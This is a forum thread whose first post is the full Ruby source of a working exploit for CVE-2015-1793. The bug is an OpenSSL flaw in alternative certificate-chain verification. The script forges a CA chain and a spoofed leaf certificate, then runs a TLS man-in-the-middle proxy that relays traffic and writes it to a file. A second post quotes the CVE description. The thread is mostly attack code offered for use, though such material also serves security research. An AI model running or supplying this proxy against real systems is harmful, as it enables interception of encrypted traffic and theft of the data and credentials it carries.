iulik Posted November 8, 2015 Report Posted November 8, 2015 #!/usr/bin/env ruby# encoding: ASCII-8BIT# By Ramon de C Valle. This work is dedicated to the public domain.require 'openssl'require 'optparse'require 'socket'Version = [0, 0, 1]Release = nilclass String def hexdump(stream=$stdout) 0.step(bytesize - 1, 16) do |i| stream.printf('%08x ', i) 0.upto(15) do |j| stream.printf(' ') if j == 8 if i + j >= bytesize stream.printf(' ') else stream.printf('%02x ', getbyte(i + j)) end end stream.printf(' ') 0.upto(15) do |j| if i + j >= bytesize stream.printf(' ') else if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr stream.printf('%c', getbyte(i + j)) else stream.printf('.') end end end stream.printf("\n") end endendoptions = {}OptionParser.new do |parser| parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert" parser.separator('') parser.separator('Options:') parser.on('-H', '--local-host HOST', 'Local host') do |host| options[:local_host] = host end parser.on('-P', '--local-port PORT', 'Local port') do |port| options[:local_port] = port end parser.on('-d', '--debug', 'Debug mode') do options[:debug] = true end parser.on('-h', '--help', 'Show this message') do puts parser exit end parser.on('-o', '--output FILE', 'Output file') do |file| options[:file] = File.new(file, 'w+b') end parser.on('-p', '--port PORT', 'Port') do |port| options[:port] = port end parser.on('-v', '--verbose', 'Verbose mode') do options[:verbose] = true end parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase| options[:pass_phrase] = pass_phrase end parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject| options[:subject] = subject end parser.on('--version', 'Show version') do puts parser.ver exit endend.parse!local_host = options[:local_host] || '0.0.0.0'local_port = options[:local_port] || 443debug = options[:debug] || falsefile = options[:file] || nilhost = ARGV[0] or fail ArgumentError, 'no host given'port = options[:port] || 443verbose = options[:verbose] || falsecacert = ARGV[1] or fail ArgumentError, 'no cacert given'key = ARGV[2] or fail ArgumentError, 'no key given'pass_phrase = options[:pass_phrase] || nilcert = ARGV[3] or fail ArgumentError, 'no cert given'subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')root_ca_key = OpenSSL::PKey::RSA.new(2048)root_ca_cert = OpenSSL::X509::Certificate.newroot_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')root_ca_cert.not_after = Time.now + 86400root_ca_cert.not_before = Time.nowroot_ca_cert.public_key = root_ca_key.public_keyroot_ca_cert.serial = 0root_ca_cert.subject = root_ca_nameroot_ca_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')inter_ca_key = OpenSSL::PKey::RSA.new(2048)inter_ca_cert = OpenSSL::X509::Certificate.newinter_ca_cert.issuer = root_ca_nameinter_ca_cert.not_after = Time.now + 86400inter_ca_cert.not_before = Time.nowinter_ca_cert.public_key = inter_ca_key.public_keyinter_ca_cert.serial = 0inter_ca_cert.subject = inter_ca_nameinter_ca_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))subinter_ca_cert.issuer = inter_ca_namesubinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))fake_name = OpenSSL::X509::Name.parse(subject)fake_key = OpenSSL::PKey::RSA.new(2048)fake_cert = OpenSSL::X509::Certificate.newfake_cert.issuer = leaf_cert.subjectfake_cert.not_after = Time.now + 3600fake_cert.not_before = Time.nowfake_cert.public_key = fake_key.public_keyfake_cert.serial = 0fake_cert.subject = fake_namefake_cert.version = 2extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)context = OpenSSL::SSL::SSLContext.newcontext.cert = fake_certcontext.extra_chain_cert = [leaf_cert, subinter_ca_cert]context.key = fake_keytcp_server = TCPServer.new(local_host, local_port)proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verboseloop do Thread.start(proxy.accept) do |client| puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose context = OpenSSL::SSL::SSLContext.new(:TLSv1) context.verify_mode = OpenSSL::SSL::VERIFY_NONE tcp_socket = TCPSocket.new(host, port) server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) server.connect puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose loop do readable, = IO.select([client, server]) readable.each do |r| data = r.readpartial(4096) data.hexdump($stderr) if debug puts '%d bytes received' % [data.bytesize] if debug || verbose if file file.write(data) file.flush file.fsync end case r when client count = server.write(data) server.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose when server count = client.write(data) client.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end end end client.close server.close endendproxy.close Quote
Amidamaru Posted November 21, 2015 Report Posted November 21, 2015 (edited) CVE-2015-1793Overview:The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly process X.509 Basic Constraints CA values during identification of alternative certificate chains, which allows remote attackers to spoof a Certification Authority role and trigger unintended certificate verifications via a valid leaf certificate.Si video explanation: explaining video Edited November 21, 2015 by Amidamaru Quote